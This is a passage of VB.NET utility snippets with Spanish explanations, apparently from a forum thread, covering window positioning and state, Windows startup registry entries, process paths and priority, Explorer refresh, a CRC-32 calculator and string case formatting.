x = Bounds.Left
y = Bounds.Top
Case SetWindowPosition.Corner.TopRight
x = Bounds.Right - Width
y = Bounds.Top
Case SetWindowPosition.Corner.BottomLeft
x = Bounds.Left
y = Bounds.Bottom - Height
Case SetWindowPosition.Corner.BottomRight
x = Bounds.Right - Width
y = Bounds.Bottom - Height
End Select
' Move the Main Window.
NativeMethods.SetWindowPos(HWND, New IntPtr(NativeMethods.SpecialWindowHandles.NoTopMost),
x, y, 0, 0,
NativeMethods.SetWindowPosFlags.IgnoreResize)
Catch ex As Exception
Throw
End Try
Next
End Sub
''' <summary>
''' Set the position of a window.
''' </summary>
''' <param name="ProcessName">The process name.</param>
''' <param name="X">The new X coordinate.</param>
''' <param name="Y">The new Y coordinate.</param>
''' <param name="Bounds">
''' The screen <see cref="Rectangle"/> where the window is shown.
''' If this parameter is empty, <see cref="Screen.PrimaryScreen"/> is used as default.
''' </param>
Friend Shared Sub SetWindowPos(ByVal ProcessName As String,
ByVal X As Integer,
ByVal Y As Integer,
Optional ByVal Bounds As Rectangle = Nothing)
Dim Rect As Rectangle ' The specified screen bounds
Dim HWND As IntPtr ' The process main window handle.
Dim Width As Integer ' The process window width.
Dim Height As Integer ' The process window height.
If Bounds.IsEmpty Then
Bounds = Screen.PrimaryScreen.WorkingArea
End If
' Iterate the process instances.
For Each p As Process In Process.GetProcessesByName(FixProcessName(ProcessName))
Try
' Get the main window handle.
HWND = p.MainWindowHandle
' Copy the process window position and size into the Rectangle.
' NOTE: This is not a bad practice, but 'GetWindowRect' function should use a Windows API 'RECT' structure.
NativeMethods.GetWindowRect(HWND, Rect)
Width = (Rect.Width - Rect.Left) ' Set the window width
Height = (Rect.Height - Rect.Top) ' Set the window height
' Move the Main Window.
NativeMethods.SetWindowPos(HWND, New IntPtr(NativeMethods.SpecialWindowHandles.NoTopMost),
x, y, 0, 0,
NativeMethods.SetWindowPosFlags.IgnoreResize)
Catch ex As Exception
Throw
End Try
Next
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Fixes the name of a process.
''' </summary>
''' <param name="name">The process name.</param>
''' <returns>System.String.</returns>
Private Shared Function FixProcessName(ByVal name As String) As String
If name.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) Then
Return name.Remove(name.Length - ".exe".Length)
Else
Return name
End If
End Function
#End Region
End Class
Añade o elimina una aplicación de la sección 'Run' del registro, para iniciar una aplicación cuando el usuario se loguea en Windows.
' Add or remove application from Windows Startup
' ( By Elektro )
'
' Usage Examples :
' AddApplicationToWindowsStartup(User.CurrentUser, Application.ProductName, Application.ExecutablePath)
' RemoveApplicationFromWindowsStartup(User.CurrentUser, pplication.ProductName)
''' <summary>
''' Specifies a registry user session.
''' </summary>
Public Enum User As Integer
''' <summary>
''' The current user session.
''' </summary>
CurrentUser = 1I
''' <summary>
''' All user sessions.
''' </summary>
AllUsers = 2I
End Enum
''' <summary>
''' Adds an application to Windows Startup.
''' </summary>
''' <param name="User">Indicates the registry root key.</param>
''' <param name="Title">Indicates the registry value name.</param>
''' <param name="FilePath">Indicates the registry value data.</param>
Friend Shared Sub AddApplicationToWindowsStartup(ByVal User As User,
ByVal Title As String,
ByVal FilePath As String)
Try
Select Case User
Case User.CurrentUser
My.Computer.Registry.CurrentUser.
OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
SetValue(Title, FilePath, Microsoft.Win32.RegistryValueKind.String)
Case User.AllUsers
My.Computer.Registry.LocalMachine.
OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
SetValue(Title, FilePath, Microsoft.Win32.RegistryValueKind.String)
Case Else
Exit Select
End Select
Catch ex As Exception
Throw
End Try
End Sub
''' <summary>
''' Removes an application from Windows Startup.
''' </summary>
''' <param name="User">Indicates the registry root key.</param>
''' <param name="Title">Indicates the registry value name.</param>
Friend Shared Sub RemoveApplicationFromWindowsStartup(ByVal User As User,
ByVal Title As String)
Try
Select Case User
Case User.CurrentUser
My.Computer.Registry.CurrentUser.
OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
DeleteValue(Title, throwOnMissingValue:=False)
Case User.AllUsers
My.Computer.Registry.LocalMachine.
OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", writable:=True).
DeleteValue(Title, throwOnMissingValue:=False)
Case Else
Exit Select
End Select
Catch ex As Exception
Throw
End Try
End Sub
Obtiene la ruta de un proceso de 64 Bits, desde una aplicación .NET de 32 Bits.
Aviso, es un procedimiento lento, pero por el momento no conozco una mejor manera de lograrlo.
' Get x64 Process Path From x86
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.Management'
'
' Usage Examples:
' Dim path As String = GetX64ProcessPathFromX86("conhost.exe")
'
''' <summary>
''' Gets the process path of an x64 process from an x86 .NET application.
''' </summary>
''' <param name="ProcessName">Indicates the name of the process.</param>
''' <returns>The process path.</returns>
Friend Shared Function GetX64ProcessPathFromX86(ByVal ProcessName As String) As String
Dim wmiQuery As String = String.Format("SELECT ExecutablePath FROM Win32_Process Where Name = '{0}.exe'",
If(ProcessName.EndsWith(".exe", StringComparison.OrdinalIgnoreCase),
ProcessName.Remove(ProcessName.Length - ".exe".Length),
ProcessName))
Using searcher As New ManagementObjectSearcher(queryString:=wmiQuery)
Using results As ManagementObjectCollection = searcher.[Get]
If results.Count <> 0I Then
Return DirectCast(DirectCast(results(0I), ManagementBaseObject).
Properties("ExecutablePath").Value, String)
Else
Return String.Empty
End If
End Using
End Using
End Function
Modifica el estado de una ventana.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 10-02-2014
' ***********************************************************************
' <copyright file="SetWindowState.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Dim HWND As IntPtr = Process.GetProcessesByName("devenv").First.MainWindowHandle
'
'SetWindowState.SetWindowState(HWND, SetWindowState.WindowState.Hide)
'SetWindowState.SetWindowState("devenv", SetWindowState.WindowState.Restore, Recursivity:=False)
#End Region
#Region " Imports "
Imports System.Runtime.InteropServices
#End Region
''' <summary>
''' Sets the state of a window.
''' </summary>
Public NotInheritable Class SetWindowState
#Region " P/Invoke "
''' <summary>
''' Platform Invocation methods (P/Invoke), access unmanaged code.
''' This class does not suppress stack walks for unmanaged code permission.
''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
''' This class is for methods that can be used anywhere because a stack walk will be performed.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/ms182161.aspx
''' </summary>
Protected NotInheritable Class NativeMethods
#Region " Methods "
''' <summary>
''' Retrieves a handle to the top-level window whose class name and window name match the specified strings.
''' This function does not search child windows.
''' This function does not perform a case-sensitive search.
''' To search child windows, beginning with a specified child window, use the FindWindowEx function.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633499%28v=vs.85%29.aspx
''' </summary>
''' <param name="lpClassName">The class name.
''' If this parameter is NULL, it finds any window whose title matches the lpWindowName parameter.</param>
''' <param name="lpWindowName">The window name (the window's title).
''' If this parameter is NULL, all window names match.</param>
''' <returns>If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
''' If the function fails, the return value is NULL.</returns>
<DllImport("user32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False)>
Friend Shared Function FindWindow(
ByVal lpClassName As String,
ByVal lpWindowName As String
) As IntPtr
End Function
''' <summary>
''' Retrieves a handle to a window whose class name and window name match the specified strings.
''' The function searches child windows, beginning with the one following the specified child window.
''' This function does not perform a case-sensitive search.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633500%28v=vs.85%29.aspx
''' </summary>
''' <param name="hwndParent">
''' A handle to the parent window whose child windows are to be searched.
''' If hwndParent is NULL, the function uses the desktop window as the parent window.
''' The function searches among windows that are child windows of the desktop.
''' </param>
''' <param name="hwndChildAfter">
''' A handle to a child window.
''' The search begins with the next child window in the Z order.
''' The child window must be a direct child window of hwndParent, not just a descendant window.
''' If hwndChildAfter is NULL, the search begins with the first child window of hwndParent.
''' </param>
''' <param name="strClassName">
''' The window class name.
''' </param>
''' <param name="strWindowName">
''' The window name (the window's title).
''' If this parameter is NULL, all window names match.
''' </param>
''' <returns>
''' If the function succeeds, the return value is a handle to the window that has the specified class and window names.
''' If the function fails, the return value is NULL.
''' </returns>
<DllImport("User32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False)>
Friend Shared Function FindWindowEx(
ByVal hwndParent As IntPtr,
ByVal hwndChildAfter As IntPtr,
ByVal strClassName As String,
ByVal strWindowName As String
) As IntPtr
End Function
''' <summary>
''' Retrieves the identifier of the thread that created the specified window
''' and, optionally, the identifier of the process that created the window.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633522%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window.</param>
''' <param name="ProcessId">
''' A pointer to a variable that receives the process identifier.
''' If this parameter is not NULL, GetWindowThreadProcessId copies the identifier of the process to the variable;
''' otherwise, it does not.
''' </param>
''' <returns>The identifier of the thread that created the window.</returns>
<DllImport("user32.dll")>
Friend Shared Function GetWindowThreadProcessId(
ByVal hWnd As IntPtr,
ByRef ProcessId As Integer
) As Integer
End Function
''' <summary>
''' Sets the specified window's show state.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633548%28v=vs.85%29.aspx
''' </summary>
''' <param name="hwnd">A handle to the window.</param>
''' <param name="nCmdShow">Controls how the window is to be shown.</param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("User32", SetLastError:=False)>
Friend Shared Function ShowWindow(
ByVal hwnd As IntPtr,
ByVal nCmdShow As WindowState
) As Boolean
End Function
#End Region
End Class
#End Region
#Region " Enumerations "
''' <summary>
''' Controls how the window is to be shown.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633548%28v=vs.85%29.aspx
''' </summary>
Friend Enum WindowState As Integer
''' <summary>
''' Hides the window and activates another window.
''' </summary>
Hide = 0I
''' <summary>
''' Activates and displays a window.
''' If the window is minimized or maximized, the system restores it to its original size and position.
''' An application should specify this flag when displaying the window for the first time.
''' </summary>
Normal = 1I
''' <summary>
''' Activates the window and displays it as a minimized window.
''' </summary>
ShowMinimized = 2I
''' <summary>
''' Maximizes the specified window.
''' </summary>
Maximize = 3I
''' <summary>
''' Activates the window and displays it as a maximized window.
''' </summary>
ShowMaximized = Maximize
''' <summary>
''' Displays a window in its most recent size and position.
''' This value is similar to <see cref="WindowState.Normal"/>, except the window is not actived.
''' </summary>
ShowNoActivate = 4I
''' <summary>
''' Activates the window and displays it in its current size and position.
''' </summary>
Show = 5I
''' <summary>
''' Minimizes the specified window and activates the next top-level window in the Z order.
''' </summary>
Minimize = 6I
''' <summary>
''' Displays the window as a minimized window.
''' This value is similar to <see cref="WindowState.ShowMinimized"/>, except the window is not activated.
''' </summary>
ShowMinNoActive = 7I
''' <summary>
''' Displays the window in its current size and position.
''' This value is similar to <see cref="WindowState.Show"/>, except the window is not activated.
''' </summary>
ShowNA = 8I
''' <summary>
''' Activates and displays the window.
''' If the window is minimized or maximized, the system restores it to its original size and position.
''' An application should specify this flag when restoring a minimized window.
''' </summary>
Restore = 9I
''' <summary>
''' Sets the show state based on the SW_* value specified in the STARTUPINFO structure
''' passed to the CreateProcess function by the program that started the application.
''' </summary>
ShowDefault = 10I
''' <summary>
''' <b>Windows 2000/XP:</b>
''' Minimizes a window, even if the thread that owns the window is not responding.
''' This flag should only be used when minimizing windows from a different thread.
''' </summary>
ForceMinimize = 11I
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Set the state of a window by an HWND.
''' </summary>
''' <param name="WindowHandle">A handle to the window.</param>
''' <param name="WindowState">The state of the window.</param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
Friend Shared Function SetWindowState(ByVal WindowHandle As IntPtr,
ByVal WindowState As WindowState) As Boolean
Return NativeMethods.ShowWindow(WindowHandle, WindowState)
End Function
''' <summary>
''' Set the state of a window by a process name.
''' </summary>
''' <param name="ProcessName">The name of the process.</param>
''' <param name="WindowState">The state of the window.</param>
''' <param name="Recursivity">If set to <c>false</c>, only the first process instance will be processed.</param>
Friend Shared Sub SetWindowState(ByVal ProcessName As String,
ByVal WindowState As WindowState,
Optional ByVal Recursivity As Boolean = False)
If ProcessName.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) Then
ProcessName = ProcessName.Remove(ProcessName.Length - ".exe".Length)
End If
Dim pHandle As IntPtr = IntPtr.Zero
Dim pID As Integer = 0I
Dim Processes As Process() = Process.GetProcessesByName(ProcessName)
' If any process matching the name is found then...
If Processes.Count = 0 Then
Exit Sub
End If
For Each p As Process In Processes
' If Window is visible then...
If p.MainWindowHandle <> IntPtr.Zero Then
SetWindowState(p.MainWindowHandle, WindowState)
Else ' Window is hidden
' Check all open windows (not only the process we are looking),
' begining from the child of the desktop, phandle = IntPtr.Zero initialy.
While pID <> p.Id ' Check all windows.
' Get child handle of window who's handle is "pHandle".
pHandle = NativeMethods.FindWindowEx(IntPtr.Zero, pHandle, Nothing, Nothing)
' Get ProcessId from "pHandle".
NativeMethods.GetWindowThreadProcessId(pHandle, pID)
' If the ProcessId matches the "pID" then...
If pID = p.Id Then
NativeMethods.ShowWindow(pHandle, WindowState)
If Not Recursivity Then
Exit For
End If
End If
End While
End If
Next p
End Sub
#End Region
End Class
Como obtener la ruta completa de los directorios de la barra de dirección de cada instancia de Windows Explorer (explorer.exe)
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'Microsoft Shell Controls and Automation'
'
' Usage Examples:
' Dim paths As List(Of String) = GetWindowsExplorerPaths()
'
''' <summary>
''' Gets the full-path in the adressbar of each Windows Explorer instance.
''' MSDN Shell Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/bb776890%28v=vs.85%29.aspx
''' </summary>
''' <returns>A list containing the paths.</returns>
Friend Shared Function GetWindowsExplorerPaths() As List(Of String)
Dim exShell As New Shell32.Shell
Dim folder As Shell32.Folder
Dim path As String
Dim pathList As New List(Of String)
For Each Window As SHDocVw.ShellBrowserWindow In DirectCast(exShell.Windows, SHDocVw.IShellWindows)
folder = DirectCast(Window.Document, Shell32.ShellFolderView).Folder
path = DirectCast(folder, Shell32.Folder2).Self.Path
pathList.Add(path)
Next Window
Return pathList
End Function
PD: Lo mismo quizás se pueda llevar a cabo con la librería WindowsAPICodePack de Microsoft, le echaré un ojo...
Como implementar en menos de 5 segundos: un ComboBox para cambiar la prioridad del proceso actual.
Nota: Se puede hacer de manera más directa sin asignar los nombres, pero entonces perderiamos el orden de prioridad de menor a mayor.
Public Class PriorityList_TestForm
''' <summary>
''' Contains the process priority items.
''' </summary>
Private ReadOnly PriorityList As String() =
{
ProcessPriorityClass.Idle.ToString,
ProcessPriorityClass.BelowNormal.ToString,
ProcessPriorityClass.Normal.ToString,
ProcessPriorityClass.AboveNormal.ToString,
ProcessPriorityClass.High.ToString,
ProcessPriorityClass.RealTime.ToString
}
''' <summary>
''' Handles the Load event of the PriorityList_TestForm Form.
''' </summary>
Private Shadows Sub Load() Handles MyBase.Load
' Add the priority items to list.
Me.ComboBox1.Items.AddRange(Me.PriorityList)
End Sub
''' <summary>
''' Handles the SelectedIndexChanged event of the ComboBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs) _
Handles ComboBox1.SelectedIndexChanged
' Change thecurrent process priority.
Process.GetCurrentProcess.PriorityClass =
[Enum].Parse(GetType(ProcessPriorityClass),
DirectCast(sender, ComboBox).Text,
ignoreCase:=True)
End Sub
End Class
Lo mismo, pero usando Telerik:
Imports Telerik.WinControls.UI
Imports Telerik.WinControls.UI.Data
Public Class PriorityList_RadTestForm
''' <summary>
''' Contains the process priority items.
''' </summary>
Private ReadOnly PriorityList As New List(Of RadListDataItem) From
{
New RadListDataItem With {
.Text = ProcessPriorityClass.Idle.ToString,
.Value = ProcessPriorityClass.Idle
},
New RadListDataItem With {
.Text = ProcessPriorityClass.BelowNormal.ToString,
.Value = ProcessPriorityClass.BelowNormal
},
New RadListDataItem With {
.Text = ProcessPriorityClass.Normal.ToString,
.Value = ProcessPriorityClass.Normal
},
New RadListDataItem With {
.Text = ProcessPriorityClass.AboveNormal.ToString,
.Value = ProcessPriorityClass.AboveNormal
},
New RadListDataItem With {
.Text = ProcessPriorityClass.High.ToString,
.Value = ProcessPriorityClass.High
},
New RadListDataItem With {
.Text = ProcessPriorityClass.RealTime.ToString,
.Value = ProcessPriorityClass.RealTime
}
}
''' <summary>
''' Handles the Initialized event of the RadDropDownList1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub RadDropDownList1_Initialized(ByVal sender As Object, ByVal e As EventArgs) _
Handles RadDropDownList1.Initialized
' Add the priority items to list.
DirectCast(sender, RadDropDownList).Items.AddRange(PriorityList)
End Sub
''' <summary>
''' Handles the SelectedIndexChanged event of the RadDropDownList1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="Telerik.WinControls.UI.Data.PositionChangedEventArgs"/> instance containing the event data.</param>
Private Sub RadDropDownList1_SelectedIndexChanged(ByVal sender As Object, ByVal e As PositionChangedEventArgs) _
Handles RadDropDownList1.SelectedIndexChanged
' Change thecurrent process priority.
Process.GetCurrentProcess.PriorityClass =
DirectCast(DirectCast(sender, RadDropDownList).SelectedItem.Value, ProcessPriorityClass)
End Sub
End Class
Como actualizar el estado del explorador de Windows después de un cambio en el sistema.
' Refresh Windows Explorer
' ( by Elektro )
'
' Instructions:
' 1. Add a reference to "Microsoft Shell And Controls Automation"
'
' Usage Examples:
' RefreshWindowsExplorer()
''' <summary>
''' Refreshes all the Windows Explorer instances.
''' </summary>
Private Sub RefreshWindowsExplorer()
' Indicates the Windows Explorer localized names.
Dim allowedWindowNames As String() =
{
"Windows Explorer",
"Explorador de archivos"
}
' Shell interface instance.
Dim shell As New Shell32.Shell
' Refresh the Windows Explorer instances asynchronouslly.
Threading.Tasks.Task.Factory.StartNew(Sub()
For i As Integer = 0I To (shell.Windows.Count() - 1I)
Dim window As Object = shell.Windows(i)
If allowedWindowNames.Contains(window.Name()) Then
window.Refresh()
End If
Next i
End Sub)
End Sub
Ejemplo de uso:
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
' Show checkboxes
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced",
"AutoCheckSelect", 1, Microsoft.Win32.RegistryValueKind.DWord)
RefreshWindowsExplorer()
End Sub
Un ayudante para el manejo del CRC-32
Lo he cosmetizado un poco, el código original lo pueden encontrar en http://nmdt.codeplex.com/
#Region " Usage Examples "
' Usage Examples:
' MsgBox(Crc32.Calculate("C:\File"))
' MsgBox(Convert.ToString(Crc32.Calculate("C:\File"), 16).ToUpper)
#End Region
#Region " Imports "
Imports System.IO
#End Region
#Region "CRC-32"
''' <summary>
''' ISO 3309 CRC-32 Calculator.
''' </summary>
Public NotInheritable Class Crc32
#Region " Variables "
''' <summary>
''' The CRC-32 polynomial.
''' </summary>
Private Shared ReadOnly CRC32Poly As UInteger = &HEDB88320UI
''' <summary>
''' The CRC32 table.
''' </summary>
Private Shared Crc32Table(0UI To 255UI) As UInteger
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="Crc32"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initialize the CRC table from the polynomial.
''' </summary>
Shared Sub New()
Dim i As UInteger
Dim j As UInteger
Dim l As UInteger
For i = 0 To 255
j = i
For l = 0 To 7
If (j And 1) Then
j = ((j >> 1) Xor CRC32Poly)
Else
j >>= 1
End If
Next l
Crc32Table(i) = j
Next i
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Validates a file against an input CRC.
''' </summary>
''' <param name="fileName">Filename of the file to validate.</param>
''' <param name="inputCrc">The CRC value against which the validation should occur.</param>
''' <returns>True if the input CRC matches the calculated CRC of the data.</returns>
Public Shared Function Validate(ByVal fileName As String,
ByVal inputCrc As UInteger) As Boolean
Return Calculate(fileName) = inputCrc
End Function
''' <summary>
''' Validates a byte array against an input CRC.
''' </summary>
''' <param name="data">The byte array to validate.</param>
''' <param name="inputCrc">The CRC value against which the validation should occur.</param>
''' <returns>True if the input CRC matches the calculated CRC of the data.</returns>
Public Shared Function Validate(ByVal data() As Byte,
ByVal inputCrc As UInteger) As Boolean
Return Calculate(data) = inputCrc
End Function
''' <summary>
''' Calculate the CRC-32 of a file.
''' </summary>
''' <param name="fileName">Filename of the file to calculate.</param>
''' <param name="bufflen">Specify the size, in bytes, of the read buffer to be used (default is 1k).</param>
''' <returns>A 32-bit unsigned integer representing the calculated CRC.</returns>
''' <exception cref="System.IO.FileNotFoundException">fileName could not be found.</exception>
Public Shared Function Calculate(ByVal fileName As String,
Optional ByVal bufflen As Integer = 1024) As UInteger
If (Not File.Exists(fileName)) Then
Throw New FileNotFoundException(fileName & " could not be found.")
Return 0
End If
Return Calculate(New FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read), bufflen)
End Function
''' <summary>
''' Calculate the CRC-32 of an array of bytes.
''' </summary>
''' <param name="data">Byte array containing the bytes to calculate.</param>
''' <param name="startIndex">Specifies the starting index to begin the calculation (default is 0).</param>
''' <param name="length">Specify the length of the byte array to check (default is -1, or all bytes).</param>
''' <param name="crc">Input CRC value for ongoing calculations (default is FFFFFFFFh).</param>
''' <returns>A 32-bit unsigned integer representing the calculated CRC.</returns>
''' <exception cref="System.ArgumentNullException">data;data cannot be equal to null.</exception>
''' <exception cref="System.ArgumentOutOfRangeException">length;length must be -1 or a positive number.</exception>
Public Shared Function Calculate(ByVal data() As Byte,
Optional ByVal startIndex As Integer = 0I,
Optional ByVal length As Integer = -1I,
Optional ByVal crc As UInteger = &HFFFFFFFFUI) As UInteger
If data Is Nothing Then
Throw New ArgumentNullException("data", "data cannot be equal to null.")
End If
If length = -1 Then
length = data.Length - startIndex
End If
If length <= 0 Then
Throw New ArgumentOutOfRangeException("length", "length must be -1 or a positive number.")
End If
Dim j As Integer
Dim c As Integer = length - 1
For j = startIndex To c
crc = Crc32Table((crc Xor data(j)) And &HFF) Xor (crc >> 8)
Next j
Calculate = crc Xor &HFFFFFFFFUI
End Function
''' <summary>
''' Calculate the CRC-32 of a Stream.
''' </summary>
''' <param name="stream">The Stream to calculate.</param>
''' <param name="bufflen">Specify the size, in bytes, of the read buffer to be used (default is 1k).</param>
''' <param name="closeStream">if set to <c>true</c> the stream gets closed after CRC-32 is calculated.</param>
''' <returns>A 32-bit unsigned integer representing the calculated CRC.</returns>
Public Shared Function Calculate(ByVal stream As Stream,
Optional ByVal bufflen As Integer = 1024I,
Optional ByVal closeStream As Boolean = True) As UInteger
'' our working marshal buffer will be 1k, this is a good compromise between eating up memory and efficiency.
Dim blen As Integer = bufflen
Dim crc As UInteger = &HFFFFFFFFUI
Dim b() As Byte
Dim i As Long
Dim l As Long = stream.Length
Dim c As Long = l - 1
Dim e As Integer
Dim j As Integer
ReDim b(blen - 1)
For i = 0 To c Step blen
e = CInt(l - i)
If e > blen Then
e = blen
End If
If (stream.Position <> i) Then
stream.Seek(i, SeekOrigin.Begin)
End If
stream.Read(b, 0, e)
e -= 1
For j = 0 To e
crc = Crc32Table((crc Xor b(j)) And &HFF) Xor (crc >> 8)
Next j
Next i
If (closeStream) Then
stream.Close()
End If
Calculate = crc Xor &HFFFFFFFFUI
End Function
#End Region
End Class
#End Region
Una actualización de este ayudante para "renombrar" o capitalizar un String, dándole el formato deseado.
' ***********************************************************************
' Author : Elektro
' Modified : 29-November-2014
' ***********************************************************************
' <copyright file="StringRenamer.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Usage Examples "
' MsgBox(StringRenamer.Rename("Hello World!", StringRenamer.FormatCase.Upper))
' MsgBox(StringRenamer.Rename("Hello World!", StringRenamer.FormatCase.Upper, "\s+", "-", System.Text.RegularExpressions.RegexOptions.None))
#End Region
#Region " Imports "
Imports System.Text
Imports System.Text.RegularExpressions
Imports System.Globalization
#End Region
#Region " String Renamer "
''' <summary>
''' Renames a string.
''' </summary>
Public NotInheritable Class StringRenamer
#Region " Enumerations "
''' <summary>
''' Specifies a string format case.
''' </summary>
Public Enum FormatCase As Integer
''' <summary>
''' LowerCase
'''
''' [Example]
''' Input : ABCDEF
''' Output: abcdef
''' </summary>
Lower = &H0
''' <summary>
''' UpperCase.
'''
''' [Example]
''' Input : abcdef
''' Output: ABCDEF
''' </summary>
Upper = &H1
''' <summary>
''' TitleCase.
'''
''' [Example]
''' Input : abcdef
''' Output: Abcdef
''' </summary>
Title = &H2
''' <summary>
''' WordCase.
'''
''' [Example]
''' Input : abc def
''' Output: Abc Def
''' </summary>
Word = &H3
''' <summary>
''' CamelCase (With first letter to LowerCase).
'''
''' [Example]
''' Input : ABC DEF
''' Output: abcDef
''' </summary>
CamelLower = &H4
''' <summary>
''' CamelCase (With first letter to UpperCase).
'''
''' [Example]
''' Input : ABC DEF
''' Output: AbcDef
''' </summary>
CamelUpper = &H5
''' <summary>
''' MixedCase (With first letter to LowerCase).
'''
''' [Example]
''' Input : ab cd ef
''' Output: aB Cd eF
''' </summary>
MixedTitleLower = &H6
''' <summary>
''' MixedCase (With first letter to UpperCase).
'''
''' [Example]
''' Input : ab cd ef
''' Output: Ab cD Ef
''' </summary>
MixedTitleUpper = &H7
''' <summary>
''' MixedCase (With first letter of each word to LowerCase).
'''
''' [Example]
''' Input : ab cd ef
''' Output: aB cD eF
''' </summary>
MixedWordLower = &H8
''' <summary>
''' MixedCase (With first letter of each word to UpperCase).
'''
''' [Example]
''' Input : ab cd ef
''' Output: Ab Cd Ef
''' </summary>
MixedWordUpper = &H9
''' <summary>
''' ToggleCase.
'''
''' [Example]
''' Input : abc def ghi
''' Output: aBC dEF gHI
''' </summary>
Toggle = &H10
''' <summary>
''' Duplicates the characters.
'''
''' [Example]
''' Input : Hello World!
''' Output: HHeelllloo WWoorrlldd!!
''' </summary>
Duplicated = &H11
''' <summary>
''' Inverts the characters.
'''
''' [Example]
''' Input : Hello World!
''' Output: hELLO wORLD!
''' </summary>
Inverted = &H12
End Enum
#End Region
#Region " Publix Methods "
#End Region
''' <summary>
''' Renames a string to the specified StringCase.
''' </summary>
''' <param name="str">The string to rename.</param>
''' <param name="fCase">The format case.</param>
''' <returns>The renamed string.</returns>
Public Shared Function Rename(ByVal str As String,
ByVal fCase As FormatCase) As String
Select Case fCase
Case FormatCase.Lower
Return str.ToLower
Case FormatCase.Upper
Return str.ToUpper
Case FormatCase.Title
Return Char.ToUpper(str.First) & str.Substring(1).ToLower
Case FormatCase.Word
Return CultureInfo.InvariantCulture.TextInfo.ToTitleCase(str.ToLower)
Case FormatCase.CamelLower
Return Char.ToLower(str.First) &
CultureInfo.InvariantCulture.TextInfo.ToTitleCase(str.ToLower).
Replace(" "c, String.Empty).
Substring(1)
Case FormatCase.CamelUpper
Return Char.ToUpper(str.First) &
CultureInfo.InvariantCulture.TextInfo.ToTitleCase(str.ToLower).
Replace(" "c, String.Empty).
Substring(1)
Case FormatCase.MixedTitleLower
Dim sb As New StringBuilder
For i As Integer = 0 To (str.Length - 1) Step 2
If Not (i + 1) >= str.Length Then
sb.Append(Char.ToLower(str(i)) & Char.ToUpper(str(i + 1)))
Else
sb.Append(Char.ToLower(str(i)))
End If
Next i
Return sb.ToString
Case FormatCase.MixedTitleUpper
Dim sb As New StringBuilder
For i As Integer = 0 To (str.Length - 1) Step 2
If Not (i + 1) >= str.Length Then
sb.Append(Char.ToUpper(str(i)) & Char.ToLower(str(i + 1)))
Else
sb.Append(Char.ToUpper(str(i)))
End If
Next i
Return sb.ToString
Case FormatCase.MixedWordLower
Dim sb As New StringBuilder
For Each token As String In str.Split
sb.Append(StringRenamer.Rename(token, FormatCase.MixedTitleLower) & " ")
Next token
Return sb.ToString
Case FormatCase.MixedWordUpper
Dim sb As New StringBuilder
For Each token As String In str.Split
sb.Append(StringRenamer.Rename(token, FormatCase.MixedTitleUpper) & " ")
Next token
Return sb.ToString
Case FormatCase.Toggle
Dim sb As New StringBuilder
For Each token As String In str.Split
sb.Append(Char.ToLower(token.First) & token.Substring(1).ToUpper & " ")
Next token
Return sb.ToString
Case FormatCase.Duplicated
Dim sb As New StringBuilder
For Each c As Char In str
sb.Append(New String(c, 2))
Next c
Return sb.ToString
Case FormatCase.Inverted
Dim sb As New StringBuilder
For Each c As Char In str
sb.Append(If(Char.IsLower(c),
Char.ToUpper(c),
Char.ToLower(c)))
Next c
Return sb.ToString
Case Else
Return str
End Select
End Function
''' <summary>
''' Rename a string to the specified StringCase,
''' Also finds and replaces text after the string is renamed.
''' </summary>
''' <param name="str">The string to rename.</param>
''' <param name="fCase">The format case.</param>
''' <param name="FindWhat">The RegEx pattern to match.</param>
''' <param name="ReplaceWith">The replacement string.</param>
''' <param name="regexOptions">The RegEx options.</param>
''' <returns>The renamed string.</returns>
Public Shared Function Rename(ByVal str As String,
ByVal fCase As FormatCase,
ByVal findWhat As String,
ByVal replaceWith As String,
ByVal regexOptions As RegexOptions) As String
Return Regex.Replace(StringRenamer.Rename(str, fCase),
findWhat,
replaceWith,
regexOptions)
